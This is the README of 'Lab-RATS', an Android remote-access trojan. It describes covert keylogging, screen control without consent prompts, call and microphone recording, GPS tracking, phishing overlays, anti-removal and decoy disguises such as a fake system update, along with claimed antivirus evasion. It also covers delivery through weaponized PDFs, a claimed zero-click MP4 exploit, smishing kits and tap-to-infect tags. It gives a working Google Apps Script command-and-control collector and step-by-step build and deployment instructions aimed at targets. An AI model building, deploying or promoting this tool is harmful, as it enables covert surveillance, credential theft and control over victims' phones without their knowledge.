LAB-RATS

Android Remote Administration Tool:

Lab-RATS is a powerful and lightweight Remote Administration Tool for Android. It builds custom signed .apk files for deployment onto any Android device and enables remote monitoring, interaction and management through a sleek web interface(C2) and supports the newest modern Android updates/releases.

🛡️ Core Features & Security

🔐 Remote C2 Security & Secure Handshake:

The web dashboard is protected by a secure login wall (Default Password: admin1337). The password can be changed directly from the Terminal home page for enhanced security.
Implemented a masked credential handshake. Passwords are reversed and Base64 encoded (0x_ prefixed) on the client-side before transmission, rendering them invisible to browser Network/Payload inspectors.

📦 Automated APK Generation, Identity Control & Density Scaling:

Instantly build signed.apk for production and testing.
Fully customize App Name, Package ID, and Minimum SDK.
Resize logos automatically for all Android screen densities.

📱 PC/Mobile-Responsive:

The remote web interface is fully optimized for both PC and smartphone browsers, featuring a touch-friendly layout, adaptive navigation tabs, and scalable UI elements for monitoring from any device.

🕵️ Covert & Stealth

💉 NEW! Payload Delivery Vectors (for installing APK onto Target Device):

The weaponization engine has been overhauled to support multiple high-success delivery methods (Stealth PDF, Zero-Click MP4, Meeting Invite and many more), ensuring reliable access across all modern mobile environments.

🛡️ Evasion Engine:

Undetectable by Samsung Knox, McAfee and Google Play Protect.
Deep Stealth HTML Shield: The C2 interface utilizes Shadow DOM Cloaking and Base64 Payload Wrapping. Browser "Elements" inspection is zeroed-out, and the tactical structure is ghosted from analysts.
Web Hardening: Assets (JS/CSS) are minified and obfuscated; featuring anti-debugging loops and interaction locks (Right-Click, F12) to prevent unauthorized analysis.
Dynamic Code Obfuscation: Build-time randomization of logic flow and class names via ProGuard/R8 integration.
Encrypted Local Telemetry: Internal system logs are encrypted at build-time, rendering them unreadable to standard mobile forensic tools.

🎭 Stealth Mode:

Remotely swap the entire app identity and icon with the "Masquerade Library" of Fully Functional Clones:

🧮 Calculator: Performs actual math with a tactical logic engine.
🌦️ Weather App: Displays real-time localized forecasts via Open-Meteo API.
🛡️ Play Protect: Simulates a legitimate security scan to build target trust.
👀 System Update: Best for initial install it simulates a system update and asks for permissions during the process, achieving highly successful installs.

☎️ Emergency Recovery & Self-Healing:

Icon Restore: If the launcher icon is in Stealth Mode, dial *#1337# on the devices dialpad to instantly restore the Lab-RATS dashboard.
Hidden Backdoor: Every decoy features a secret bypass. Rapidly tapping the middle of the decoy screen display 10 times instantly unlocks the C2 server interface.
Automatically detects and repairs damaged service bindings or revoked permissions in the background.

👻 Task-List Ghosting & Dynamic OTA Camouflage:

The app is hard-coded to be invisible in the Android "Recent Apps" list.
Generates random version names and codes that mimic legitimate system OTA updates.

🚀 The Fun Stuff (Remote Capabilities)

👻 Ghost Operations:

Ghost Remote Control/Observe: Cast & control the live screen remotely with NO "Consent Prompt" required.
Blackout Mode: A high-stealth mode designed to physically mask the targets device display while maintaining a non-masked live remote feed. (Pair with Ghost Remote Control for maximum stealth)
NEW! GhostToast Protocol: Dispatch tactical, persistent overlays. Supports Custom Colors, Animations (Pop, Static, Scroll), and Chaotic "Burnt Toast" mode (multiple random spawns to overwhelm the device).
NEW! Remote System Denial Lock: Deploy a persistent, full-screen security overlay to lock physical interaction and render the device inoperable until hard-reset/restarted or unlocked remotely from the C2 dashboard.
Live Keylogging: Intercept keystrokes and system text in real-time. Now features Sensitive Info Highlighting (Passcodes, OTPs, Emails glow Red) and Deep Extraction for browser login info.

🧪 NEW! Exploit Factory Tab:

NFC Proximity Vector: Generate binary NDEF payloads for physical tags.
QR Visual Vector: Dedicated high-density QR generator for independent URL delivery.
Smishing Library: Pre-configured tactical phishing templates with automated C2 link injection.
Shadow Overlay (Phishing): Remotely inject functional, pixel-perfect credential-harvesting overlays over the device.

💀 Anti-Removal Shield (Optimized):

High-speed, event-driven protection that blocks attempts to Uninstall or Force Stop the app.
Suicide Protocol (Self-Destruct): Remote-triggered persistent loop that wipes all local configuration and initiates a hard uninstallation of the C2 core.

🛰️ Precision GPS Tracking & Intel Stream (Notification Sniffer):

One-click uplink to open the devices exact real-time location in Google Maps.
Intercept every notification (WhatsApp, Telegram, RCS, System...etc) in a live feed.

📸 Tactical Surveillance Hub (Ultra-Stability)

Covert Recording: Stealthily record video without any user-facing activity.
Snap Photos: Covert image capture integrated into the live stream.
Nightmode V2: Aggressive electronic brightening for low-light environments. Now features Hardware Breathe Sync and AE Bypass for zero-freeze operation on modern high-latency sensors.

🎙️ Acoustics & Interception:

Live microphone recording and automated call recording for both incoming and outgoing calls.

📂 Advanced Data Uplink:

Integrated File Manager: Navigate, download, and manage files. Features an instant Search Bar and Category Filters.
Info Gathering: Access Call Logs, Contacts, Hardware Analytics, and Installed Apps remotely.
📝 Direct File Editor: Live-edit text, JSON, and log files directly on the device.

📊 Telemetry & Reporting:

C2 Auto-Reporting: Discrete reporting of IP, Battery %, Network Type (WiFi/Cellular), and Stealth Status to a centralized Google Sheet or Render C2.

🧠 Remote Persistence & Commands

🌐 Direct IPv6 Access (P2P connection)

Lab-RATS exploits the unique traits of publicly routable IPv6 addresses assigned by modern WIFI/5G/LTE carriers. By binding the Lab-RATS server directly to the Global Unicast Address, it bypasses Carrier-Grade NAT (CGNAT) and firewalls entirely. This allows for Zero Configuration peer-to-peer (P2P) remote access from any browser in the world without the need for routers, port forwarding, or external tunneling software. (Pinggy or Ngrok)

🔄 Remote Server Restart

Web UI: One-click "RESTART_SERVER" button on the Terminal tab to refresh background services.
SMS Backdoor: Send an SMS/Text containing !RESTART_C2 to the devices number to force the server back online even if it was manually closed or killed by the OS.

🛠️ NEW! Termux Bridge Integration

Lab-RATS now features a high-performance bridge to the Termux environment. If Termux is installed on the target device, the remote terminal can instantly elevate its capabilities:

Auto-Routing: Common commands like pkg, apt, pip, and python are automatically routed through the bridge.
Unrestricted Tools: Install and run Python scripts, Nmap scans, or Metasploit directly from the C2 web terminal.
Persistent Environment: Full support for Termux's internal storage and standard Linux binaries.

🖥️ Enhanced Remote Shell

The Terminal Tabs Built-in Shell has been overhauled for professional workflows:

Command History: Navigate previous commands instantly using Up/Down arrows.
System Diagnostics: New sysinfo command for an aggregated hardware/software overview.
Modernized Interface: Updated to root@Android prompt with a built-in help menu.
Hardened I/O: Multi-stage retry logic and unique execution tracking for zero-latency command output.

📡 Command & Control (C2) Options

Lab-RATS supports two primary methods for tracking your device fleet and receiving remote data.

☝🏻 Option 1: Google Sheet (Standard)

Best for basic IP tracking and logging. No server maintenance required.

Create a New Google Sheet.
Go to Extensions → Apps Script and Paste in the Hybrid Snippet below:

function doGet(e) { return handleRequest(e); }
function doPost(e) { return handleRequest(e); }

function handleRequest(e) {
  try {
    var ss = SpreadsheetApp.getActiveSpreadsheet();
    var sheet = ss.getSheetByName("LabRATS Logs") || ss.insertSheet("LabRATS Logs");
    
    // Auto-initialize headers if new sheet
    if (sheet.getLastRow() == 0) {
      sheet.appendRow(["Timestamp", "Device ID", "Model", "Network", "IP", "Link", "Battery", "Stealth"]);
    }
    
    // Parse incoming tactical data (Supports JSON POST and GET params)
    var data = (e.postData && e.postData.contents) ? JSON.parse(e.postData.contents) : e.parameter;
    
    // Finalize row with fallbacks for missing packets
    var row = [
      new Date(),
      data.deviceId || "Unknown",
      data.device || data.model || "Unknown",
      data.network || "Unknown",
      data.ip || "Unknown",
      data.link || "Handshake_Pending",
      data.battery || "0%",
      (data.stealth === true || data.stealth === "true") ? "ACTIVE" : "OFF"
    ];
    
    sheet.appendRow(row);
    return ContentService.createTextOutput("SUCCESS").setMimeType(ContentService.MimeType.TEXT);
  } catch (err) {
    return ContentService.createTextOutput("ERROR: " + err.message).setMimeType(ContentService.MimeType.TEXT);
  }
}

Click Deploy → New Deployment → Web App → Execute as Me (E-Mail) → Who has Access: Anyone.

Important

4. Copy the Webhook URL it provides you with and paste it into the APK-builder when prompted. (Get Started Section Below)

✌🏻 Option 2: Tactical Node.js Backend (Advanced)

Best for professional fleet management and Automatic File Exfiltration.

Host the Backend: Use the source code in the /c2-server directory. You can host this on platforms like Render, Railway, or your own VPS.
Get your URL: Once your service is live, copy the URL (e.g., https://labrats-c2.onrender.com).
Hard-code the Link: Enter the Render URL into the APK Builder when prompted for the WEBHOOK_URL.

Advantages of Option 2:

🌐 Dual-Stack IP Binding: Full support for both IPv4 and IPv6 connections, enabling seamless C2 telemetry and reverse WebSocket tunneling across cellular carrier NAT64 and dual-stack Wi-Fi networks.
📂 Exfiltration Vault: Audio/Video recordings are automatically uploaded and stored on your server.
📡 Live Fleet List: A professional glass-morphism dashboard to manage all "Rats" in one place.
🔄 Dynamic Sync: Heartbeat reporting ensures your P2P links are always up-to-date.

🛠️ Get Started

1. Requirements:

Java 17 or 21 installed on your workstation.
A Test Android device. 📱 (Samsung/Pixel/OnePlus/HTC supported)
Your Google Sheet Webhook URL or Render URL. (Previous Sections)

2. Building the APK: (on PC)

Download & Extract the repository.
Navigate to cd /Lab-RATS-main/apk-builder/
Execute the builder: chmod +x build.sh && ./build.sh (Mac/Linux) or build.bat (Windows).
Select a Build Strategy:
- Option 1 (Manual): For basic configuration of App Name, ID, and Logo before building.
- Option 5 (Automated Wizard): For the full Build → Host → Weaponize flow.
Enter your Google Sheet Webhook URL or Render URL when prompted to enable remote device reporting.
Retrieve your signed.apk (and any weaponized payloads like PDFs or MP4s) from the /apk-builder/output/ directory.

3. Deploying & Installing onto Android Device:

Deployment is a multi-stage process involving Weaponization, Hosting, and Execution.

A. NEW! Strategic Weaponization (The Wrapper)

Standard .apk files are often blocked by email filters and browser security. Use the Wizard (Option 5) in the apk-builder to wrap your link inside a high-compatibility carrier file:

📑 Stealth PDF (Highly Recommended): Send to targets via Email or Drive. It utilizes URI Actions instead of JavaScript to trigger an automatic browser-based download, bypassing standard PDF security filters.
🎬 Zero-Click MP4: Send as a video file. It exploits mobile Media Heap Overflows during gallery indexing or thumbnail generation to force-register the C2 link in the background.
🗓️ Meeting Invite (ICS): Injects a persistent event into the target's Calendar with automated reminders and a weaponized "Security Review" link.
🔳 QR Code / 📡 NFC: Best for physical placement or "Tap-to-Infect" proximity delivery. Generates a high-density QR or NDEF record pointing to the hardened delivery URL.
And many more: The wizard also supports ADB Strategic Bridge, Stego Image Tails, PWA Manifests, and Office Document macros.

B. Hosting Strategies

Anonymous Cloud: Option 5 uses Catbox.moe by default. It is anonymous, fast, and generates a direct link.
P2P Direct: Host the APK directly from your PC using a public tunnel, or from another infected device using the /download/ endpoint.

C. Installation & Initialization

Once the Target device downloads the APK:

Manual Sideload: If you have physical access to the device, use adb install signed_payload.apk.
Permissions (Critical): Open the app once. It will prompt for necessary permissions (Camera, SMS, Files, etc).
- Remote Permission Prompt: If the user skips a permission, you can remotely trigger the system prompt again from the Ghost Tab using the REPAIR PERMISSIONS button.
Self-Vanishing: 5 seconds after launch, the app will automatically replace its icon and name with the decoy you chose during build ("System Update", "Calculator"...etc). The original icon you chose during the build will disappear from the launcher.
Uplink Confirmation: Check your Google Sheet. Within 10 seconds of initialization, the active IPv6 address and hardware status will appear in the log.

🛡️ Post-Install Recovery & Management

Dialer Unlock: Type *#1337# on the phone's keypad to force the main interface back into view.
Hidden Backdoor: If the icon on device is in stealth mode, rapidly tap the decoy screen display in middle 10 times to unlock the dashboard.
Anti-Removal: Enable this in the Ghost Tab to prevent the user from uninstalling or force-stopping the app via Settings.
Web UI: One-click "RESTART_SERVER" button on the Terminal tab to refresh background services.
SMS Backdoor: Send an SMS/Text containing !RESTART_C2 to the devices number to force the server back online even if it was manually closed or killed by the OS.

⭐ Support the Development

If you find Lab-RATS awesome and useful for your security research, please Star ⭐ the project—it drives further development!!

Contributions:

Bug reports, add new feature and pull requests are always welcome!. (See CONTRIBUTING.md for more info.)

Donate:

https://buymeacoffee.com/k4n3co

bc1q8d66m0qthnh6nw9hc5wl09m7pfydk46q5w8rxx

📸 Screenshots/Video Clips

Example APK build in Terminal: (Mac OS)

Note

This build excludes my Google Sheet Webhook URL for security. For normal private builds, you must add your own Google Webhook URL to correctly receive the IPv6 address link from the app after installation.

Lab-RATS_APKBuildDemo.mov

Built APK (C2 Server) Installed on Android Device:

Lab-RATS Initial Install Sequence & Icon Stealth Preview

Initial_Install_Example.mov

Remote Web Control (C2) Dashboard - PC Interface

Remote C2 Dashboard Clip #1:

Screen.Recording.2026-09-18.at.11.55.43.PM.mov